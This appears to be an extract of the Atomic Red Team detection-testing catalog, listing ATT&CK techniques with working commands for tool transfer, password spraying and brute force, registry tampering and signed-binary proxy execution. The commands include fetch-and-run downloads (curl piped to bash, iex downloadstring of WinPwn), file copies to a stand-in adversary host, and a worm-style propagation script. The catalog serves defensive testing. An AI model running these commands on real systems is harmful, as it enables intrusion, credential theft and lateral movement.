rsync -r /tmp/adversary-rsync/ victim@victim-host:/tmp/victim-files

T1105 - Ingress Tool Transfer

rsync remote file copy (pull)

rsync -r adversary@adversary-host:/tmp/adversary-rsync/ /tmp/victim-files

T1105 - Ingress Tool Transfer

scp remote file copy (push)

scp /tmp/adversary-scp victim@victim-host:/tmp/victim-files/

T1105 - Ingress Tool Transfer

scp remote file copy (pull)

scp adversary@adversary-host:/tmp/adversary-scp /tmp/victim-files/

T1105 - Ingress Tool Transfer

sftp remote file copy (push)

sftp victim@victim-host:/tmp/victim-files/ <<< $'put /tmp/adversary-sftp'

T1105 - Ingress Tool Transfer

sftp remote file copy (pull)

sftp adversary@adversary-host:/tmp/adversary-sftp /tmp/victim-files/

T1105 - Ingress Tool Transfer

certutil download (urlcache)

cmd /c certutil -urlcache -split -f https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/LICENSE.txt Atomic-license.txt

T1105 - Ingress Tool Transfer

certutil download (verifyctl)

$datePath = "certutil-$(Get-Date -format yyyy_MM_dd)"
New-Item -Path $datePath -ItemType Directory
Set-Location $datePath
certutil -verifyctl -split -f https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/LICENSE.txt
Get-ChildItem | Where-Object {$_.Name -notlike "*.txt"} | Foreach-Object { Move-Item $_.Name -Destination Atomic-license.txt }

T1105 - Ingress Tool Transfer

Windows - BITSAdmin BITS Download

C:\Windows\System32\bitsadmin.exe /transfer qcxjb7 /Priority HIGH https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/LICENSE.txt %temp%\Atomic-license.txt

T1105 - Ingress Tool Transfer

Windows - PowerShell Download

(New-Object System.Net.WebClient).DownloadFile("https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/LICENSE.txt", "$env:TEMP\Atomic-license.txt")

T1105 - Ingress Tool Transfer

OSTAP Worming Activity

pushd \\localhost\C$
echo var fileObject = WScript.createobject("Scripting.FileSystemObject");var newfile = fileObject.CreateTextFile("AtomicTestFileT1105.js", true);newfile.WriteLine("This is an atomic red team test file for T1105. It simulates how OSTap worms accross network shares and drives.");newfile.Close(); > AtomicTestT1105.js
CScript.exe AtomicTestT1105.js //E:JScript
del AtomicTestT1105.js /Q >nul 2>&1
del AtomicTestFileT1105.js /Q >nul 2>&1
popd

T1105 - Ingress Tool Transfer

svchost writing a file to a UNC path

copy C:\Windows\System32\cmd.exe C:\svchost.exe
C:\svchost.exe /c echo T1105 > \\localhost\c$\T1105.txt

T1105 - Ingress Tool Transfer

Download a File with Windows Defender MpCmdRun.exe

cd "%ProgramData%\Microsoft\Windows Defender\platform\4.18*"
MpCmdRun.exe -DownloadFile -url https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/LICENSE.txt -path %temp%\Atomic-license.txt

T1105 - Ingress Tool Transfer

whois file download

timeout --preserve-status 1 whois -h localhost -p 8443 "Hello from Atomic Red Team test T1105" > /tmp/T1105.whois.out

T1105 - Ingress Tool Transfer

File Download via PowerShell

(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/redcanaryco/atomic-red-team/4042cb3433bce024e304500dcfe3c5590571573a/LICENSE.txt') | Out-File LICENSE.txt; Invoke-Item LICENSE.txt

T1105 - Ingress Tool Transfer

File download with finger.exe on Windows

finger base64_filedata@localhost

T1105 - Ingress Tool Transfer

Download a file with IMEWDBLD.exe

$imewdbled = $env:SystemRoot + "\System32\IME\SHARED\IMEWDBLD.exe"
& $imewdbled https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1105/T1105.yaml

T1105 - Ingress Tool Transfer

Curl Download File

C:\Windows\System32\Curl.exe -k https://github.com/redcanaryco/atomic-red-team/raw/058b5c2423c4a6e9e226f4e5ffa1a6fd9bb1a90e/atomics/T1218.010/bin/AllTheThingsx64.dll -o c:\users\public\music\allthethingsx64.dll
C:\Windows\System32\Curl.exe -k https://github.com/redcanaryco/atomic-red-team/raw/058b5c2423c4a6e9e226f4e5ffa1a6fd9bb1a90e/atomics/T1218.010/bin/AllTheThingsx64.dll --output c:\users\public\music\allthethingsx64.dll
C:\Windows\System32\Curl.exe -k https://github.com/redcanaryco/atomic-red-team/raw/058b5c2423c4a6e9e226f4e5ffa1a6fd9bb1a90e/atomics/T1218.010/bin/AllTheThingsx64.dll -o c:\programdata\allthethingsx64.dll
C:\Windows\System32\Curl.exe -k https://github.com/redcanaryco/atomic-red-team/raw/058b5c2423c4a6e9e226f4e5ffa1a6fd9bb1a90e/atomics/T1218.010/bin/AllTheThingsx64.dll -o %Temp%\allthethingsx64.dll

T1105 - Ingress Tool Transfer

Curl Upload File

C:\Windows\System32\Curl.exe -T c:\temp\atomictestfile.txt www.example.com
C:\Windows\System32\Curl.exe --upload-file c:\temp\atomictestfile.txt www.example.com
C:\Windows\System32\Curl.exe -d c:\temp\atomictestfile.txt www.example.com
C:\Windows\System32\Curl.exe --data c:\temp\atomictestfile.txt www.example.com

T1105 - Ingress Tool Transfer

Download a file with Microsoft Connection Manager Auto-Download

"T1105\src\T1105.bat" 1>NUL

T1105 - Ingress Tool Transfer

MAZE Propagation Script

$machine_list = "..\ExternalPayloads\T1105MachineList.txt"
$offline_list = "..\ExternalPayloads\T1105OfflineHosts.txt"
$completed_list = "..\ExternalPayloads\T1105CompletedHosts.txt"
foreach ($machine in get-content -path "$machine_list")
{if (test-connection -Count 1 -computername $machine -quiet)
{cmd /c copy "$env:comspec" "\\$machine\C$\Windows\Temp\T1105.exe"
echo $machine >> "$completed_list"
wmic /node: "$machine" process call create "regsvr32.exe /i C:\Windows\Temp\T1105.exe"}
else
{echo $machine >> "$offline_list"}}

T1105 - Ingress Tool Transfer

Printer Migration Command-Line Tool UNC share folder into a zip file

del %TEMP%\PrintBrm.zip >nul 2>&1
C:\Windows\System32\spool\tools\PrintBrm.exe -b -d \\127.0.0.1\c$\AtomicRedTeam\atomics\T1105\src\ -f %TEMP%\PrintBrm.zip -O FORCE

T1105 - Ingress Tool Transfer

Lolbas replace.exe use to copy file

del %TEMP%\redcanary.cab >nul 2>&1
C:\Windows\System32\replace.exe "T1105\src\redcanary.cab" %TEMP% /A

T1105 - Ingress Tool Transfer

Lolbas replace.exe use to copy UNC file

del %TEMP%\redcanary.cab >nul 2>&1
C:\Windows\System32\replace.exe \\127.0.0.1\c$\AtomicRedTeam\atomics\T1105\src\redcanary.cab %TEMP% /A

T1105 - Ingress Tool Transfer

certreq download

certreq.exe -Post -config https://example.com c:\windows\win.ini %temp%\Atomic-license.txt

T1105 - Ingress Tool Transfer

Download a file using wscript

wscript.exe "T1105\src\T1105-download-file.vbs"

T1105 - Ingress Tool Transfer

Linux Download File and Run

curl -sO https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1105/src/atomic.sh; chmod +x atomic.sh | bash atomic.sh

T1105 - Ingress Tool Transfer

Nimgrab - Transfer Files

cmd /c "..\ExternalPayloads\nimgrab.exe" https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/LICENSE.txt $env:TEMP\Atomic-license.txt

T1105 - Ingress Tool Transfer

iwr or Invoke Web-Request download

powershell.exe iwr -URI https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/LICENSE.txt -Outfile %temp%\Atomic-license.txt

T1105 - Ingress Tool Transfer

Arbitrary file download using the Notepad++ GUP.exe binary

mkdir "c:\Temp"
cd T1105\bin\
GUP.exe -unzipTo "" "C:\Temp" "Sample https://getsamplefiles.com/download/zip/sample-2.zip CAC4D26F32CA629DFB10FE614ED00EB1066A0C0011386290D3426C3DE2E53AC6"

T1105 - Ingress Tool Transfer

File download via nscurl

nscurl -k "https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/LICENSE.txt" -o "license.txt"

T1105 - Ingress Tool Transfer

File Download with Sqlcmd.exe

sqlcmd -i https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1105/src/T1105.zip -o C:\T1105.zip

T1105 - Ingress Tool Transfer

Remote File Copy using PSCP

fsutil file createnew C:\Temp\T1105_scp.zip 1048576
echo y | ..\ExternalPayloads\pscp.exe -P 22 -pw atomic C:\Temp\T1105_scp.zip atomic@127.0.0.1:T1105_scp.zip

T1105 - Ingress Tool Transfer

Windows push file using scp.exe

# Check if the folder exists, create it if it doesn't
$folderPath = "C:\temp"
if (-Not (Test-Path -Path $folderPath)) {
New-Item -Path $folderPath -ItemType Directory
}

# Create the file
$filePath = Join-Path -Path $folderPath -ChildPath "T1105.txt"
New-Item -Path $filePath -ItemType File -Force
Write-Output "File created: $filePath"

# Attack command
scp.exe C:\temp\T1105.txt adversary@adversary-host:/tmp/

T1105 - Ingress Tool Transfer

Windows pull file using scp.exe

scp.exe adversary@adversary-host:/tmp/T1105.txt C:\temp

T1105 - Ingress Tool Transfer

Windows push file using sftp.exe

# Check if the folder exists, create it if it doesn't
$folderPath = "C:\temp"
if (-Not (Test-Path -Path $folderPath)) {
New-Item -Path $folderPath -ItemType Directory
}
# Create the file
$filePath = Join-Path -Path $folderPath -ChildPath "T1105.txt"
New-Item -Path $filePath -ItemType File -Force
Write-Output "File created: $filePath"
# Attack command
echo "put C:\temp\T1105.txt" | sftp adversary@adversary-host:/tmp

T1105 - Ingress Tool Transfer

Windows pull file using sftp.exe

sftp.exe adversary@adversary-host:/tmp/T1105.txt C:\temp

T1105 - Ingress Tool Transfer

Download a file with OneDrive Standalone Updater

if (-not (Test-Path "C:\Users\$env:USERNAME\AppData\Local\Microsoft\OneDrive\OneDriveStandaloneUpdater.exe")) {
Write-Host "OneDriveStandaloneUpdater.exe not found at C:\Users\$env:USERNAME\AppData\Local\Microsoft\OneDrive\OneDriveStandaloneUpdater.exe. Test cannot continue."
exit 1
}

New-Item -Path "HKCU:\Software\Microsoft\OneDrive\UpdateOfficeConfig" -Force | Out-Null
Set-ItemProperty -Path "HKCU:\Software\Microsoft\OneDrive\UpdateOfficeConfig" -Name "UpdateRingSettingURLFromOC" -Value "https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/LICENSE.txt" -Type String -Force
Set-ItemProperty -Path "HKCU:\Software\Microsoft\OneDrive\UpdateOfficeConfig" -Name "ODSUUpdateXMLUrlFromOC" -Value "https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/LICENSE.txt" -Type String -Force
Set-ItemProperty -Path "HKCU:\Software\Microsoft\OneDrive\UpdateOfficeConfig" -Name "UpdateXMLUrlFromOC" -Value "https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/LICENSE.txt" -Type String -Force
Set-ItemProperty -Path "HKCU:\Software\Microsoft\OneDrive\UpdateOfficeConfig" -Name "UpdateOfficeConfigTimestamp" -Value 99999999999 -Type QWord -Force

# Run OneDrive Standalone Updater
& "C:\Users\$env:USERNAME\AppData\Local\Microsoft\OneDrive\OneDriveStandaloneUpdater.exe"

T1105 - Ingress Tool Transfer

Curl Insecure Connection from a Pod

kubectl run atomic-insecure-curl --image=curlimages/curl --restart=Never --rm -it -- curl -ksL https://malicious-apt.com

T1106 - Native API

Execution through API - CreateProcess

C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /out:"%tmp%\T1106.exe" /target:exe "T1106\src\CreateProcess.cs"
%tmp%/T1106.exe

T1106 - Native API

WinPwn - Get SYSTEM shell - Pop System Shell using CreateProcess technique

iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/Get-System-Techniques/master/CreateProcess/Get-CreateProcessSystem.ps1')

T1106 - Native API

WinPwn - Get SYSTEM shell - Bind System Shell using CreateProcess technique

iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/Get-System-Techniques/master/CreateProcess/Get-CreateProcessSystemBind.ps1')

T1106 - Native API

WinPwn - Get SYSTEM shell - Pop System Shell using NamedPipe Impersonation technique

iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/Get-System-Techniques/master/NamedPipe/NamedPipeSystem.ps1')

T1106 - Native API

Run Shellcode via Syscall in Go

$T1106\bin\x64\syscall.exe -debug

T1110.001 - Brute Force: Password Guessing

Brute Force Credentials of single Active Directory domain users via SMB

echo Password1> passwords.txt
echo 1q2w3e4r>> passwords.txt
echo Password!>> passwords.txt
echo Spring2022>> passwords.txt
echo ChangeMe!>> passwords.txt
@FOR /F "delims=" %p in (passwords.txt) DO @net use %logonserver%\IPC$ /user:"%userdomain%\%username%" "%p" 1>NUL 2>&1 && @echo [*] %username%:%p && @net use /delete %logonserver%\IPC$ > NUL

T1110.001 - Brute Force: Password Guessing

Brute Force Credentials of single Active Directory domain user via LDAP against domain controller (NTLM or Kerberos)

if ("NTLM".ToLower() -NotIn @("ntlm","kerberos")) {
Write-Host "Only 'NTLM' and 'Kerberos' auth methods are supported"
exit 1
}

[System.Reflection.Assembly]::LoadWithPartialName("System.DirectoryServices.Protocols") | Out-Null
$di = new-object System.DirectoryServices.Protocols.LdapDirectoryIdentifier("$env:UserDnsDomain",389)

$passwordList = Get-Content -Path "T1110.001\src\passwords.txt"
foreach ($password in $passwordList){
$credz = new-object System.Net.NetworkCredential("$ENV:USERNAME", $password, "$env:UserDnsDomain")
$conn = new-object System.DirectoryServices.Protocols.LdapConnection($di, $credz, [System.DirectoryServices.Protocols.AuthType]::NTLM)
try {
Write-Host " [-] Attempting ${password} on account $ENV:USERNAME."
$conn.bind()
# if credentials aren't correct, it will break just above and goes into catch block, so if we're here we can display success
Write-Host " [!] $ENV:USERNAME:${password} are valid credentials!"
} catch {
Write-Host $_.Exception.Message
}
}
Write-Host "End of bruteforce"

T1110.001 - Brute Force: Password Guessing

Brute Force Credentials of single Azure AD user

Import-Module -Name AzureAD

$passwords = "Password1`n1q2w3e4r`nPassword!".split("{`n}")
foreach($password in $passwords) {
$PWord = ConvertTo-SecureString -String "$password" -AsPlainText -Force
$Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList "bruce.wayne@contoso.com", $Pword
try {
Write-Host " [-] Attempting ${password} on account bruce.wayne@contoso.com."
Connect-AzureAD -Credential $Credential 2>&1> $null
# if credentials aren't correct, it will break just above and goes into catch block, so if we're here we can display success
Write-Host " [!] bruce.wayne@contoso.com:${password} are valid credentials!`r`n"
break
} catch {
Write-Host " [-] bruce.wayne@contoso.com:${password} invalid credentials.`r`n"
}
}
Write-Host "End of bruteforce"

T1110.001 - Brute Force: Password Guessing

Password Brute User using Kerbrute Tool

cd "..\ExternalPayloads"
.\kerbrute.exe bruteuser --dc $ENV:userdnsdomain -d $ENV:userdomain $env:temp\bruteuser.txt TestUser1

T1110.001 - Brute Force: Password Guessing

SUDO Brute Force - Debian

useradd -G sudo -s /bin/bash -p $(openssl passwd -1 password123) art
su -c "cd /tmp; curl -s https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1110.001/src/sudo_bruteforce.sh | bash" art

T1110.001 - Brute Force: Password Guessing

SUDO Brute Force - Redhat

useradd -G wheel -s /bin/bash -p $(openssl passwd -1 password123) art
su art
cd /tmp
curl -s https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1110.001/src/sudo_bruteforce.sh |bash

T1110.001 - Brute Force: Password Guessing

SUDO Brute Force - FreeBSD

pw adduser art -g wheel -s /bin/sh
echo "password123" | pw usermod art -h 0
su art
cd /tmp
curl -s https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1110.001/src/sudo_bruteforce.sh |bash

T1110.001 - Brute Force: Password Guessing

ESXi - Brute Force Until Account Lockout

$lockout_threshold = [int]"5"
for ($var = 1; $var -le $lockout_threshold; $var++) {
..\ExternalPayloads\plink.exe -ssh "atomic.local" -l root -pw f0b443ae-9565-11ee-b9d1-0242ac120002
}

T1110.002 - Brute Force: Password Cracking

Password Cracking with Hashcat

cd ..\ExternalPayloads\hashcat6\hashcat-6.1.1\hashcat.exe\..
..\ExternalPayloads\hashcat6\hashcat-6.1.1\hashcat.exe -a 0 -m 1000 -r .\rules\Incisive-leetspeak.rule T1110.002\src\sam.txt T1110.002\src\password.lst

T1110.003 - Brute Force: Password Spraying

Password Spray all Domain Users

@FOR /F %n in (%temp%\users.txt) do @echo | set/p=. & @net use %logonserver%\IPC$ /user:"%userdomain%\%n" "Spring2020" 1>NUL 2>&1 && @echo [*] %n:Spring2020 && @net use /delete %logonserver%\IPC$ > NUL

T1110.003 - Brute Force: Password Spraying

Password Spray (DomainPasswordSpray)

[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
IEX (IWR 'https://raw.githubusercontent.com/dafthack/DomainPasswordSpray/94cb72506b9e2768196c8b6a4b7af63cebc47d88/DomainPasswordSpray.ps1' -UseBasicParsing); Invoke-DomainPasswordSpray -Password Spring2017 -Domain $Env:USERDOMAIN -Force

T1110.003 - Brute Force: Password Spraying

Password spray all Active Directory domain users with a single password via LDAP against domain controller (NTLM or Kerberos)

if ("NTLM".ToLower() -NotIn @("ntlm","kerberos")) {
Write-Host "Only 'NTLM' and 'Kerberos' auth methods are supported"
exit 1
}

$DomainUsers = Get-ADUser -LDAPFilter '(&(sAMAccountType=805306368)(!(UserAccountControl:1.2.840.113556.1.4.803:=2)))' -Server $env:UserDnsDomain | Select-Object -ExpandProperty SamAccountName

[System.Reflection.Assembly]::LoadWithPartialName("System.DirectoryServices.Protocols") | Out-Null
$di = new-object System.DirectoryServices.Protocols.LdapDirectoryIdentifier("$env:UserDnsDomain",389)

$DomainUsers | Foreach-Object {
$user = $_
$password = 'P@ssw0rd!'

$credz = new-object System.Net.NetworkCredential($user, $password, "$env:UserDnsDomain")
$conn = new-object System.DirectoryServices.Protocols.LdapConnection($di, $credz, [System.DirectoryServices.Protocols.AuthType]::NTLM)
try {
Write-Host " [-] Attempting ${password} on account ${user}."
$conn.bind()
# if credentials aren't correct, it will break just above and goes into catch block, so if we're here we can display success
Write-Host " [!] ${user}:${password} are valid credentials!"
} catch {
Write-Host $_.Exception.Message
}
}
Write-Host "End of password spraying"

T1110.003 - Brute Force: Password Spraying

Password spray all Azure AD users with a single password

Import-Module -Name AzureAD
$PWord = ConvertTo-SecureString -String "iamthebatman" -AsPlainText -Force
$Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList "bruce.wayne@contoso.com", $Pword
Connect-AzureAD -Credential $Credential > $null

($Users = Get-AzureADUser -All $true) > $null
Disconnect-AzureAD > $null
$PWord = ConvertTo-SecureString -String "P@ssw0rd!" -AsPlainText -Force

$Users | Foreach-Object {
$user = $_.UserPrincipalName
$Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList "$user", $Pword
try {
Write-Host " [-] Attempting P@ssw0rd! on account ${user}."
Connect-AzureAD -Credential $Credential 2>&1> $null
# if credentials aren't correct, it will break just above and goes into catch block, so if we're here we can display success
Write-Host " [!] ${user}:P@ssw0rd! are valid credentials!`r`n"
Disconnect-AzureAD > $null
} catch {
Write-Host " [-] ${user}:P@ssw0rd! invalid credentials.`r`n"
}
}
Write-Host "End of password spraying"

T1110.003 - Brute Force: Password Spraying

WinPwn - DomainPasswordSpray Attacks

iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
domainpassspray -consoleoutput -noninteractive -emptypasswords

T1110.003 - Brute Force: Password Spraying

Password Spray Invoke-DomainPasswordSpray Light

function Invoke-dpsLight ($Password, $userlist) {
$users = Get-Content $userlist
$Domain = "LDAP://" + ([ADSI]"").distinguishedName
foreach ($User in $users) {
$Domain_check = New-Object System.DirectoryServices.DirectoryEntry($Domain, $User, $Password)
if ($Domain_check.name -ne $null) {
Write-Host -ForegroundColor Green "Password found for User:$User Password:$Password"
}
else { Write-Host ". " -NoNewline}
}
Write-Host -ForegroundColor green "Finished"
}
Invoke-dpsLight "Spring2020" $env:Temp\usersdpsLight.txt

T1110.003 - Brute Force: Password Spraying

Password Spray Microsoft Online Accounts with MSOLSpray (Azure/O365)

import-module "..\ExternalPayloads\MSOLSpray.ps1"
Invoke-MSOLSpray -UserList "$env:temp\T1110.003UserList.txt" -Password "P@ssword1"

T1110.003 - Brute Force: Password Spraying

Password Spray using Kerbrute Tool

cd "..\ExternalPayloads"
.\kerbrute.exe passwordspray --dc $ENV:userdnsdomain -d $ENV:userdomain "..\ExternalPayloads\passwordspray.txt" password132

T1110.003 - Brute Force: Password Spraying

AWS - Password Spray an AWS using GoAWSConsoleSpray

cd /tmp
git clone git@github.com:WhiteOakSecurity/GoAWSConsoleSpray.git
cd /tmp/GoAWSConsoleSpray
go run main.go GoAWSConsoleSpray -a XXXXXXXX -u T1110.003/src/aws_users.txt -p T1110.003/src/aws_passwords.txt

T1110.004 - Brute Force: Credential Stuffing

SSH Credential Stuffing From Linux

cp "$T1110.004/src/credstuffuserpass.txt" /tmp/
for unamepass in $(cat /tmp/credstuffuserpass.txt);do sshpass -p `echo $unamepass | cut -d":" -f2` ssh -o 'StrictHostKeyChecking=no' `echo $unamepass | cut -d":" -f1`@localhost;done

T1110.004 - Brute Force: Credential Stuffing

SSH Credential Stuffing From MacOS

cp "$T1110.004/src/credstuffuserpass.txt" /tmp/
for unamepass in $(cat /tmp/credstuffuserpass.txt);do sshpass -p `echo $unamepass | cut -d":" -f2` ssh -o 'StrictHostKeyChecking=no' `echo $unamepass | cut -d":" -f1`@localhost;done

T1110.004 - Brute Force: Credential Stuffing

SSH Credential Stuffing From FreeBSD

cp $T1110.004/src/credstuffuserpass.txt /tmp/
for unamepass in $(cat /tmp/credstuffuserpass.txt);do sshpass -p `echo $unamepass | cut -d":" -f2` ssh -o 'StrictHostKeyChecking=no' `echo $unamepass | cut -d":" -f1`@localhost;done

T1110.004 - Brute Force: Credential Stuffing

Brute Force:Credential Stuffing using Kerbrute Tool

cd "..\ExternalPayloads"
.\kerbrute.exe bruteforce --dc $ENV:userdnsdomain -d $ENV:userdomain "..\ExternalPayloads\bruteforce.txt"

T1112 - Modify Registry

Modify Registry of Current User Profile - cmd

reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /t REG_DWORD /v HideFileExt /d 1 /f

T1112 - Modify Registry

Modify Registry of Local Machine - cmd

reg add HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run /t REG_EXPAND_SZ /v SecurityHealth /d calc.exe /f

T1112 - Modify Registry

Modify registry to store logon credentials

reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f

T1112 - Modify Registry

Use Powershell to Modify registry to store logon credentials

Set-ItemProperty -Force -Path 'HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest' -Name 'UseLogonCredential' -Value '1' -ErrorAction Ignore

T1112 - Modify Registry

Add domain to Trusted sites Zone

$key= "HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\Domains\bad-domain.com\"
$name ="bad-subdomain"
new-item $key -Name $name -Force
new-itemproperty $key$name -Name https -Value 2 -Type DWORD;
new-itemproperty $key$name -Name http -Value 2 -Type DWORD;
new-itemproperty $key$name -Name * -Value 2 -Type DWORD;

T1112 - Modify Registry

Javascript in registry

New-ItemProperty "HKCU:\Software\Microsoft\Windows\CurrentVersion\Internet Settings" -Name T1112 -Value "'"

T1218.007 - Signed Binary Proxy Execution: Msiexec

Msiexec.exe - Execute Local MSI file with embedded JScript

c:\windows\system32\msiexec.exe /q /i "T1218.007\bin\T1218.007_JScript.msi"

T1218.007 - Signed Binary Proxy Execution: Msiexec

Msiexec.exe - Execute Local MSI file with embedded VBScript

c:\windows\system32\msiexec.exe /q /i "T1218.007\bin\T1218.007_VBScript.msi"

T1218.007 - Signed Binary Proxy Execution: Msiexec

Msiexec.exe - Execute Local MSI file with an embedded DLL

c:\windows\system32\msiexec.exe /q /i "T1218.007\bin\T1218.007_DLL.msi"

T1218.007 - Signed Binary Proxy Execution: Msiexec

Msiexec.exe - Execute Local MSI file with an embedded EXE

c:\windows\system32\msiexec.exe /q /i "T1218.007\bin\T1218.007_EXE.msi"

T1218.007 - Signed Binary Proxy Execution: Msiexec

WMI Win32_Product Class - Execute Local MSI file with embedded JScript

Invoke-CimMethod -ClassName Win32_Product -MethodName Install -Arguments @{ PackageLocation = 'T1218.007\bin\T1218.007_JScript.msi' }

T1218.007 - Signed Binary Proxy Execution: Msiexec

WMI Win32_Product Class - Execute Local MSI file with embedded VBScript

Invoke-CimMethod -ClassName Win32_Product -MethodName Install -Arguments @{ PackageLocation = 'T1218.007\bin\T1218.007_VBScript.msi' }

T1218.007 - Signed Binary Proxy Execution: Msiexec

WMI Win32_Product Class - Execute Local MSI file with an embedded DLL

Invoke-CimMethod -ClassName Win32_Product -MethodName Install -Arguments @{ PackageLocation = 'T1218.007\bin\T1218.007_DLL.msi' }

T1218.007 - Signed Binary Proxy Execution: Msiexec

WMI Win32_Product Class - Execute Local MSI file with an embedded EXE

Invoke-CimMethod -ClassName Win32_Product -MethodName Install -Arguments @{ PackageLocation = 'T1218.007\bin\T1218.007_EXE.msi' }

T1218.007 - Signed Binary Proxy Execution: Msiexec

Msiexec.exe - Execute the DllRegisterServer function of a DLL

c:\windows\system32\msiexec.exe /y "T1218.007\bin\MSIRunner.dll"

T1218.007 - Signed Binary Proxy Execution: Msiexec

Msiexec.exe - Execute the DllUnregisterServer function of a DLL

c:\windows\system32\msiexec.exe /z "T1218.007\bin\MSIRunner.dll"

T1218.007 - Signed Binary Proxy Execution: Msiexec

Msiexec.exe - Execute Remote MSI file

c:\windows\system32\msiexec.exe /q /i "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.007/bin/T1218.007_JScript.msi"

T1218.008 - Signed Binary Proxy Execution: Odbcconf

Odbcconf.exe - Execute Arbitrary DLL

odbcconf.exe /S /A {REGSVR "T1218.008\src\Win32\T1218-2.dll"}

T1218.008 - Signed Binary Proxy Execution: Odbcconf

Odbcconf.exe - Load Response File

cd "T1218.008\bin\"
odbcconf.exe -f "T1218.008.rsp"

T1218.009 - Signed Binary Proxy Execution: Regsvcs/Regasm

Regasm Uninstall Method Call Test

C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /r:System.EnterpriseServices.dll /out:"%tmp%\T1218.009.dll" /target:library "T1218.009\src\T1218.009.cs"
C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe /U %tmp%\T1218.009.dll

T1218.009 - Signed Binary Proxy Execution: Regsvcs/Regasm

Regsvcs Uninstall Method Call Test

$key = 'BwIAAAAkAABSU0EyAAQAAAEAAQBhXtvkSeH85E31z64cAX+X2PWGc6DHP9VaoD13CljtYau9SesUzKVLJdHphY5ppg5clHIGaL7nZbp6qukLH0lLEq/vW979GWzVAgSZaGVCFpuk6p1y69cSr3STlzljJrY76JIjeS4+RhbdWHp99y8QhwRllOC0qu/WxZaffHS2te/PKzIiTuFfcP46qxQoLR8s3QZhAJBnn9TGJkbix8MTgEt7hD1DC2hXv7dKaC531ZWqGXB54OnuvFbD5P2t+vyvZuHNmAy3pX0BDXqwEfoZZ+hiIk1YUDSNOE79zwnpVP1+BN0PK5QCPCS+6zujfRlQpJ+nfHLLicweJ9uT7OG3g/P+JpXGN0/+Hitolufo7Ucjh+WvZAU//dzrGny5stQtTmLxdhZbOsNDJpsqnzwEUfL5+o8OhujBHDm/ZQ0361mVsSVWrmgDPKHGGRx+7FbdgpBEq3m15/4zzg343V9NBwt1+qZU+TSVPU0wRvkWiZRerjmDdehJIboWsx4V8aiWx8FPPngEmNz89tBAQ8zbIrJFfmtYnj1fFmkNu3lglOefcacyYEHPX/tqcBuBIg/cpcDHps/6SGCCciX3tufnEeDMAQjmLku8X4zHcgJx6FpVK7qeEuvyV0OGKvNor9b/WKQHIHjkzG+z6nWHMoMYV5VMTZ0jLM5aZQ6ypwmFZaNmtL6KDzKv8L1YN2TkKjXEoWulXNliBpelsSJyuICplrCTPGGSxPGihT3rpZ9tbLZUefrFnLNiHfVjNi53Yg4='
$Content = [System.Convert]::FromBase64String($key)
Set-Content $env:Temp\key.snk -Value $Content -Encoding Byte
C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /r:System.EnterpriseServices.dll /out:"$Env:TEMP\T1218.009.dll" /target:library /keyfile:$env:Temp\key.snk T1218.009\src\T1218.009.cs
C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe $Env:TEMP\T1218.009.dll

T1218.010 - Signed Binary Proxy Execution: Regsvr32

Regsvr32 local COM scriptlet execution

C:\Windows\system32\regsvr32.exe /s /u /i:"T1218.010\src\RegSvr32.sct" scrobj.dll

T1218.010 - Signed Binary Proxy Execution: Regsvr32

Regsvr32 remote COM scriptlet execution

C:\Windows\system32\regsvr32.exe /s /u /i:https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1218.010/src/RegSvr32.sct scrobj.dll

T1218.010 - Signed Binary Proxy Execution: Regsvr32

Regsvr32 local DLL execution

IF "%PROCESSOR_ARCHITECTURE%"=="AMD64" (C:\Windows\syswow64\regsvr32.exe /s T1218.010\bin\AllTheThingsx86.dll) ELSE ( C:\Windows\system32\regsvr32.exe /s T1218.010\bin\AllTheThingsx86.dll )

T1218.010 - Signed Binary Proxy Execution: Regsvr32

Regsvr32 Registering Non DLL

C:\Windows\system32\regsvr32.exe /s %temp%\shell32.jpg

T1218.010 - Signed Binary Proxy Execution: Regsvr32

Regsvr32 Silent DLL Install Call DllRegisterServer

C:\Windows\system32\regsvr32.exe /s /i "T1218.010\bin\AllTheThingsx86.dll"

T1218.011 - Signed Binary Proxy Execution: Rundll32

Rundll32 execute JavaScript Remote Payload With GetObject

